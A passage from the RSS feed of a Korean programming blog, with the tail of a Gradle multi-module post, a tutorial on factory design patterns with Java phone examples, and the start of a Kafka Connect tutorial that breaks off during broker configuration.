&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;$ ./gradlew wrapper --gradle-version=7.x&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;api&lt;/code&gt;를 사용하기 위해서는 &lt;code&gt;root&lt;/code&gt; &lt;code&gt;build.gradle&lt;/code&gt;의 &lt;code&gt;subprojects&lt;/code&gt;의 다음을 수정해준다.&lt;br /&gt;&lt;code&gt;apply plugin:&amp;rsquo;java&amp;rsquo;&lt;/code&gt; &amp;rarr; &lt;code&gt;apply plugin:&amp;rsquo;java-library&amp;rsquo;&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 다음처럼 의존성을 추가하면 된다.&lt;/p&gt;
&lt;pre class=&quot;puppet&quot;&gt;&lt;code&gt;//core build.gradle
dependencies {
    api 'org.springframework.boot:spring-boot-starter-web:2.6.1'
}
bootJar {
    enabled = false
}

jar {
    enabled = true
}&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;비고&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://kwonnam.pe.kr/wiki/gradle/multiproject&quot;&gt;https://kwonnam.pe.kr/wiki/gradle/multiproject&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://velog.io/@sangwoo0727/Gradle%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EB%A9%80%ED%8B%B0-%EB%AA%A8%EB%93%88&quot;&gt;https://velog.io/@sangwoo0727/Gradle을-이용한-멀티-모듈&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://wellbell.tistory.com/253#comment16473032&quot;&gt;https://wellbell.tistory.com/253#comment16473032&lt;/a&gt;&lt;/p&gt;</description>
      <category>스프링</category>
      <category>gradle</category>
      <category>multi module</category>
      <category>멀티 모듈</category>
      <category>스프링 멀티 모듈</category>
      <author>Awdsd</author>
      <guid isPermaLink="true">https://cjw-awdsd.tistory.com/55</guid>
      <comments>https://cjw-awdsd.tistory.com/55#entry55comment</comments>
      <pubDate>Sun, 19 Dec 2021 21:44:09 +0900</pubDate>
    </item>
    <item>
      <title>[디자인 패턴] 팩토리 패턴 종류/개념/예제</title>
      <link>https://cjw-awdsd.tistory.com/54</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이번 포스팅에서는 팩토리 패턴의 개념에 대해 포스팅하고자 한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h1&gt;1. 심플 팩토리 패턴&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팩토리 패턴에는 &lt;code&gt;팩토리 메소드 패턴&lt;/code&gt;, &lt;code&gt;추상 팩토리 패턴&lt;/code&gt;이있다. 이 두가지 패턴을 알기전에 먼저 &lt;code&gt;심플 팩토리&lt;/code&gt;(Simple Factory)패턴에 대해 간략하게 설명하고 가자.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;심플 팩토리 패턴은 간단하게 말해서 객체를 생성하는 클래스를 따로 두는 것을 의미한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트에서 휴대폰을 주문하는 코드를 예시로 해보자.&lt;/p&gt;
&lt;pre class=&quot;java&quot;&gt;&lt;code&gt;//휴대폰을 만드는 공장
public class SimplePhoneFactory {
    public Phone orderPhone(String type) {
        Phone phone = createPhone(type);
        phone.complete();
        return phone;
    }
    private Phone createPhone(String type) {
        return switch (type) {
            case &quot;IPHONE&quot; -&amp;gt; new IPhone();
            case &quot;ANDROID&quot; -&amp;gt; new AndroidPhone();
            default -&amp;gt; null;
        };
    }
}

//휴대폰 인터페이스
public interface Phone {
    void complete();
    void call();
}

//아이폰
public class IPhone implements Phone{
    @Override
    public void complete() {
        System.out.println(&quot;아이폰 완성&quot;);
    }

    @Override
    public void call() {
        System.out.println(&quot;아이폰으로 전화를 한다&quot;);
    }
}

//안드로이드 폰
public class AndroidPhone implements Phone{
    @Override
    public void complete() {
        System.out.println(&quot;안드로이드폰 완성&quot;);
    }

    @Override
    public void call() {
        System.out.println(&quot;안드로이드폰으로 전화를 한다&quot;);
    }
}

//클라이언트는 휴대폰 공장에 휴대폰을 주문한다.
public class Practice {
    public static void main(String[] args){
        SimplePhoneFactory simplePhoneFactory = new SimplePhoneFactory();
        Phone phone = simplePhoneFactory.orderPhone(&quot;ANDROID&quot;);
        phone.call();
    }
}

//결과
안드로이드폰 완성
안드로이드폰으로 전화를 한다&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Ff307f536-7815-4770-8f62-4459dda4a3f0%2FUntitled.png?table=block&amp;amp;id=65070dcd-3bda-42cb-be41-8c510809a939&amp;amp;spaceId=adef0142-b457-4471-b4ad-7d67876c8184&amp;amp;width=2000&amp;amp;userId=42f7ef61-54db-47b3-8e8a-e4a6bc1063c1&amp;amp;cache=v2&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드를 보면 &lt;code&gt;SimplePhoneFactory&lt;/code&gt;에서 &lt;code&gt;switch문&lt;/code&gt;를 통해 클라이언트가 주문할 휴대폰의 객체를 &lt;code&gt;createPhone()&lt;/code&gt;를 통해 &lt;b&gt;직접&lt;/b&gt; 객체를 생성하는 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게 끝이다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;심플 팩토리는 단순히 객체를 만드는 작업을 하나의 팩토리 클래스에 모아두는 것을 의미한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;2. 팩토리 메소드 패턴&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팩토리 메소드 패턴의 정의는 다음과 같다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;객체를 생성하기 위한 인터페이스를 정의하는 과정에서&lt;br /&gt;어떤 클래스의 인스턴스를 만들지는 &lt;b&gt;&lt;code&gt;서브클래스&lt;/code&gt;에서 결정&lt;/b&gt;&lt;br /&gt;즉, &lt;b&gt;클래스의 인스턴스를 만드는 일을 &lt;code&gt;서브클래스&lt;/code&gt;에게 맡기는 것&lt;/b&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Ffb92834f-2882-4bb7-b224-09a02ecca9e7%2FUntitled.png?table=block&amp;amp;id=e0f29ee8-e177-4eba-842d-db5153b48ea8&amp;amp;spaceId=adef0142-b457-4471-b4ad-7d67876c8184&amp;amp;width=2000&amp;amp;userId=42f7ef61-54db-47b3-8e8a-e4a6bc1063c1&amp;amp;cache=v2&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 말하면 위에서 봤던 &lt;code&gt;심플 팩토리 패턴&lt;/code&gt;에서 &lt;code&gt;createPhone()&lt;/code&gt; 부분에서 Factory에서 직접 객체를 만드는 것을 Factory를 상속한 서브클래스에서 객체를 만들게끔 하는 것이 &lt;code&gt;팩토리 메소드 패턴&lt;/code&gt;이라 보면된다. 위의 코드에 &lt;code&gt;팩토리 메소드 패턴&lt;/code&gt;을 적용해보자.&lt;/p&gt;
&lt;pre class=&quot;java&quot;&gt;&lt;code&gt;public interface PhoneFactory {
    default Phone orderPhone() {
        Phone phone = createPhone();
        phone.complete();
        return phone;
    }
    Phone createPhone();
}

public class IPhoneFactory implements PhoneFactory {
    @Override
    public Phone createPhone() {
        return new IPhone();
    }
}

public class AndroidPhoneFactory implements PhoneFactory {
    @Override
    public Phone createPhone() {
        return new AndroidPhone();
    }
}

public interface Phone {
    void complete();
    void call();
}
public class IPhone implements Phone{
    @Override
    public void complete() { System.out.println(&quot;아이폰 완성&quot;); }
    @Override
    public void call() { System.out.println(&quot;아이폰으로 전화를 한다&quot;); }
}
public class AndroidPhone implements Phone{
    @Override
    public void complete() {System.out.println(&quot;안드로이드폰 완성&quot;);}
    @Override
    public void call() {System.out.println(&quot;안드로이드폰으로 전화를 한다&quot;);}
}

public class Practice {
    public static void main(String[] args){
        IPhoneFactory iPhoneFactory = new IPhoneFactory();
        Phone phone7 = iPhoneFactory.orderPhone();
        phone7.call();

        AndroidPhoneFactory androidPhoneFactory = new AndroidPhoneFactory();
        Phone phone2 = androidPhoneFactory.orderPhone();
        phone2.call();
    }
}

//결과
아이폰 완성
아이폰으로 전화를 한다
안드로이드폰 완성
안드로이드폰으로 전화를 한다&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F65ebc817-291b-45c5-9d96-f8d2c39c55ca%2FUntitled.png?table=block&amp;amp;id=4b4d94c9-66fc-43d0-9159-890721ffed8a&amp;amp;spaceId=adef0142-b457-4471-b4ad-7d67876c8184&amp;amp;width=2000&amp;amp;userId=42f7ef61-54db-47b3-8e8a-e4a6bc1063c1&amp;amp;cache=v2&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 위의 UML 다이어그램과 코드를 매핑해보면 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;PhoneFactory&lt;/code&gt; : &lt;code&gt;Creator&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;AndroidPhoneFactory&lt;/code&gt;, &lt;code&gt;IPhoneFactory&lt;/code&gt; : &lt;code&gt;ConcreteCreator&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;AndroidPhone&lt;/code&gt;, &lt;code&gt;IPhone&lt;/code&gt; : &lt;code&gt;Product&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 코드를 보면 &lt;b&gt;심플 팩토리 패턴&lt;/b&gt;에서 달라진것은 먼저 &lt;code&gt;SimplePhoneFactory&lt;/code&gt;를 인터페이스화 한다. 그리고 구현체로 &lt;code&gt;IPhoneFactory&lt;/code&gt;, &lt;code&gt;AndroidPhoneFactory&lt;/code&gt;를 만들고 &lt;code&gt;createPhone()&lt;/code&gt;을 각자의 Factory에서 &lt;code&gt;Phone&lt;/code&gt; 객체 생성 구현체를 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하면 &lt;code&gt;**팩토리 메소드 패턴&lt;/code&gt; 정의대로 서브클래스(&lt;code&gt;IPhoneFactory&lt;/code&gt;,&lt;code&gt;AndroidPhoneFactory&lt;/code&gt;)에서 어떤 객체를 생성할지 결정할 수 있게 된것이다.**&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 구조를 잡는다면 추후 &lt;b&gt;아이폰, 안드로이드폰의 종류가 여러개로 늘어난다 해도&lt;/b&gt; &lt;b&gt;&lt;code&gt;Phone&lt;/code&gt;구현체 클래스의 생성과 &lt;code&gt;createPhone()&lt;/code&gt;의 분기처리만 해줌으로써 확장이 가능한 구조가 된다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 클래스 만들 때 확장은 가능하게 하되, 한번 만들면 추후에 수정할 필요 없게 만들라는 원칙인 ****&lt;code&gt;OCP&lt;/code&gt; (개방 폐쇄의 원칙 : Open Close Principle)를 따르게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음은 이제 추상 팩토리 패턴에 대해 알아보자.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;3. 추상 팩토리 패턴&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구체적인 클래스에 의존하지 않고 서로 연관되거나 의존적인 객체들의 조합을 만드는 인터페이스를 제공하는 패턴&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 위에서 본 &lt;code&gt;메소드 팩토리 패턴&lt;/code&gt;에서는 &lt;code&gt;PhoneFactory&lt;/code&gt;의 구현체 &lt;code&gt;IPhoneFactory&lt;/code&gt;, &lt;code&gt;AndroidPhoneFactory&lt;/code&gt;가 각각 &lt;code&gt;IPhone&lt;/code&gt;객체 &lt;code&gt;AndroidPhone&lt;/code&gt;객체 하나씩을 생성하게끔 작성했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;추상 팩토리 패턴&lt;/code&gt;은 이것을 한번더 감싸서 하나의 Factory에서 여러개의 제품군(Product)&lt;b&gt;조합&lt;/b&gt;을 생성할 수 있게 해주는 패턴이다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F57555a21-3520-468b-9b6b-c7d90383c607%2FUntitled.png?table=block&amp;amp;id=e3cdfc80-e79b-40a1-968a-da4f580b7ae8&amp;amp;spaceId=adef0142-b457-4471-b4ad-7d67876c8184&amp;amp;width=2000&amp;amp;userId=42f7ef61-54db-47b3-8e8a-e4a6bc1063c1&amp;amp;cache=v2&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;추상 팩토리 패턴&lt;/code&gt; 예제를 위해 아이폰에는 &lt;b&gt;IOS&lt;/b&gt;를 안드로이드폰에는 &lt;b&gt;Google OS&lt;/b&gt;를 설치하는 요구사항을 넣어보자.&lt;/p&gt;
&lt;pre class=&quot;java&quot;&gt;&lt;code&gt;///
public interface PhoneFactoryOfFactory {
    PhoneFactory requestPhone(String company);
}
public class DefaultPhoneFactoryOfFactory implements PhoneFactoryOfFactory{
    @Override
    public PhoneFactory requestPhone(String company) {
        switch (company) {
            case &quot;IPHONE&quot;:
                return new IPhoneFactory();
            case &quot;ANDROID&quot;:
                return new AndroidPhoneFactory();
        }
        throw new IllegalArgumentException();
    }
}
///

///
public interface PhoneFactory {
    Phone createPhone();
    OS createOS();
}
public class IPhoneFactory implements PhoneFactory{
    @Override
    public Phone createPhone() {
        OS os = createOS();
        os.installOS();
        return new IPhone();
    }
    @Override
    public OS createOS() {
        return new IOS();
    }
}
public class AndroidPhoneFactory implements PhoneFactory{
    @Override
    public Phone createPhone() {
        OS os = createOS();
        os.installOS();
        return new AndroidPhone();
    }
    @Override
    public OS createOS() {
        return new GoogleOS();
    }
}
///

///
public interface OS {
    void installOS();
}
public class IOS implements OS {
    @Override
    public void installOS() {
        System.out.println(&quot;IOS 설치&quot;);
    }
}
public class GoogleOS implements OS {
    @Override
    public void installOS() {
        System.out.println(&quot;구글OS 설치&quot;);
    }
}
///

///
public interface Phone {
    public void call();
    public void playGame();
}
public class IPhone implements Phone{
    @Override
    public void call() {
        System.out.println(&quot;아이폰으로 전화하다&quot;);
    }

    @Override
    public void playGame() {
        System.out.println(&quot;아이폰으로 게임하다&quot;);
    }
}
public class AndroidPhone implements Phone{
    @Override
    public void call() {
        System.out.println(&quot;안드로이드로 전화하다&quot;);
    }

    @Override
    public void playGame() {
        System.out.println(&quot;안드로이드로 게임하다&quot;);
    }
}
///

public class Main {
    public static void main(String[] args) {
        PhoneFactoryOfFactory phoneFactoryOfFactory = new DefaultPhoneFactoryOfFactory();
        PhoneFactory iphoneFactory= phoneFactoryOfFactory.requestPhone(&quot;IPHONE&quot;);   //아이폰을 산다.
        Phone iphone = iphoneFactory.createPhone();
        iphone.call();
        iphone.playGame();

        PhoneFactory androidPhoneFactory = phoneFactoryOfFactory.requestPhone(&quot;ANDROID&quot;);   //안드로이드폰을 산다.
        Phone androidPhone = androidPhoneFactory.createPhone();
        androidPhone.call();
        androidPhone.playGame();
    }
}

//결과
IOS 설치
아이폰으로 전화하다
아이폰으로 게임하다
구글OS 설치
안드로이드로 전화하다
안드로이드로 게임하다&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F1af9f347-e968-494c-b4d6-4a73239d7363%2FUntitled.png?table=block&amp;amp;id=6c877930-d388-453d-9192-a42d86171f4f&amp;amp;spaceId=adef0142-b457-4471-b4ad-7d67876c8184&amp;amp;width=2000&amp;amp;userId=42f7ef61-54db-47b3-8e8a-e4a6bc1063c1&amp;amp;cache=v2&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 보면 &lt;code&gt;PhoneFactory&lt;/code&gt;에서 &lt;code&gt;Phone&lt;/code&gt;과 &lt;code&gt;OS&lt;/code&gt;를 생성할 수 있는데 &lt;code&gt;IPhoneFactory&lt;/code&gt;는 &lt;code&gt;IPhone&lt;/code&gt;과 &lt;code&gt;IOS&lt;/code&gt;조합으로 객체를 생성할 수 있고, &lt;code&gt;AndroidPhoneFactory&lt;/code&gt;는 &lt;code&gt;AndroidPhone&lt;/code&gt;과 &lt;code&gt;GoogleOS&lt;/code&gt;조합으로 객체를 생성할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, &lt;code&gt;PhoneFactory&lt;/code&gt;는 &lt;code&gt;Phone&lt;/code&gt;과 &lt;code&gt;OS&lt;/code&gt;를 조합하는 구현체를 제공한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 &lt;b&gt;추상 팩토리 패턴의 장점&lt;/b&gt;은 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;구체적인 클래스를 사용자로부터 &lt;b&gt;분리&lt;/b&gt;할 수 있다.&lt;br /&gt;&amp;rarr; 사용자가 사용할 때는 정의된 인터페이스에 정의된 추상 메소드를 사용만 하면 된다.&lt;/li&gt;
&lt;li&gt;제품군을 쉽게 대체할 수 있다.&lt;br /&gt;&amp;rarr; 내가 만약 &lt;code&gt;IPhone&lt;/code&gt;대신 블랙베리 폰을 생성하고 싶다면 &lt;code&gt;BlackBerry&lt;/code&gt;를 구현후 &lt;code&gt;IPhoneFactory&lt;/code&gt;를 &lt;code&gt;BlackBerryFactory&lt;/code&gt;로 변경만 해주면 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단점&lt;/b&gt;은 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;새로운 종류의 제품을 제공하기 어렵다&lt;br /&gt;&amp;rarr; 만약 &lt;code&gt;PhoneFactory&lt;/code&gt;에 &lt;code&gt;createBattery()&lt;/code&gt;라는 추상 메소드가 추가된다면 &lt;code&gt;PhoneFactory&lt;/code&gt;의 모든 서브 구현체를 다시 수정해야한다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>디자인패턴</category>
      <category>심플 팩토리 패턴</category>
      <category>추상 팩토리 패턴</category>
      <category>팩토리 메소드 패턴</category>
      <category>팩토리 패턴</category>
      <author>Awdsd</author>
      <guid isPermaLink="true">https://cjw-awdsd.tistory.com/54</guid>
      <comments>https://cjw-awdsd.tistory.com/54#entry54comment</comments>
      <pubDate>Fri, 17 Dec 2021 16:49:43 +0900</pubDate>
    </item>
    <item>
      <title>[Kafka] Kafka Connect 개념/예제</title>
      <link>https://cjw-awdsd.tistory.com/53</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이번 포스팅에서 Kafka의 Connector의 대해 포스팅하고자한다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Kafka Connect란?&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;먼저 Kafka는 Producer와 Consumer를 통해 데이터 파이프라인을 만들 수 있다. 예를 들어 A서버의 DB에 저장한 데이터를 Kafka Producer/Consumer를 통해 B서버의 DB로도 보낼 수 있다. 이러한 파이프라인이 여러개면 매번 반복적으로 파이프라인을 구성해야줘야한다. KafkConnect는 이러한 반복적인 파이프라인 구성을 쉽고 간편하게 만들 수 있게 만들어진 Apache Kafka 프로젝트중 하나다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2360&quot; data-origin-height=&quot;518&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cF4X3U/btrhVsFQhBK/uMAETh8q7SIPKPBdVjcfz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cF4X3U/btrhVsFQhBK/uMAETh8q7SIPKPBdVjcfz0/img.png&quot; data-alt=&quot;Kafka Connect 파이프라인 아키텍처&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cF4X3U/btrhVsFQhBK/uMAETh8q7SIPKPBdVjcfz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcF4X3U%2FbtrhVsFQhBK%2FuMAETh8q7SIPKPBdVjcfz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2360&quot; height=&quot;518&quot; data-origin-width=&quot;2360&quot; data-origin-height=&quot;518&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Kafka Connect 파이프라인 아키텍처&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;위 사진을 보면 Kafka Connect를 이용해 왼쪽의 DB의 데이터를 &lt;b&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;Connect와 Source Connector&lt;/span&gt;&lt;/b&gt;를 사용해 Kafka Broker로 보내고 &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;Connect와 Sink Connector&lt;/b&gt;&lt;/span&gt;를 사용해 Kafka에 담긴 데이터를 DB에 저장하는 것을 알 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;여기서 중요한 건 &lt;b&gt;Connect와 Connector의 차이&lt;/b&gt;와 &lt;b&gt;Source Connector&lt;/b&gt;와 &lt;b&gt;Sink Connector&lt;/b&gt;이다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Connect: Connector를 동작하게 하는 프로세서(서버)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Connector:&amp;nbsp; Data Source(DB)의 데이터를 처리하는 소스가 들어있는 jar파일&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Source Connector: data source에 담긴 데이터를 topic에 담는 역할(Producer)을 하는 connector&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Sink Connector: topic에 담긴 데이터를 특정 data source로 보내는 역할(Consumer 역할)을 하는 connector&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;또한 Connect는 단일 모드(Standalone)와 분산 모드(Distributed)로 이루어져있다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;단일 모드(Standalone): 하나의 Connect만 사용하는 모드&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;분산 모드(Distributed): 여러개의 Connect를 한개의 클러스트로 묶어서 사용하는 모드.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp; -&amp;gt; 특정 Connect가 장애가 발생해도 나머지 Connect가 대신 처리하도록 함&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Kafka Connect는 &lt;b&gt;REST API&lt;/b&gt;를 사용해서 Connector를 등록 및 사용할 수 있다. 이제 예제를 한번 해보자.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Kafka Connect 예제&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이번 예제에서 mysql table에 데이터를 insert하면 다른 table에 데이터가 그대로 저장되는 예제를 해본다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;먼저 선작업으로 DB에 Table을 하나 만들자.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1634362808662&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CREATE SCHEMA test;

CREATE TABLE test.users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(20)
)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Kafka 설치&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;다운로드 링크 : &lt;a href=&quot;https://kafka.apache.org/downloads%20&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://kafka.apache.org/downloads&lt;/a&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;설치후 해당 디렉토리 이동후 아래처럼 server.properties 파일을 열어&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1634363349995&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ vi config/server.properties&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;listneres=PLAINTEXT://:9092 주석을 풀고 localhost를 입력해준다.&lt;/span&gt;&lt;/p&gt;
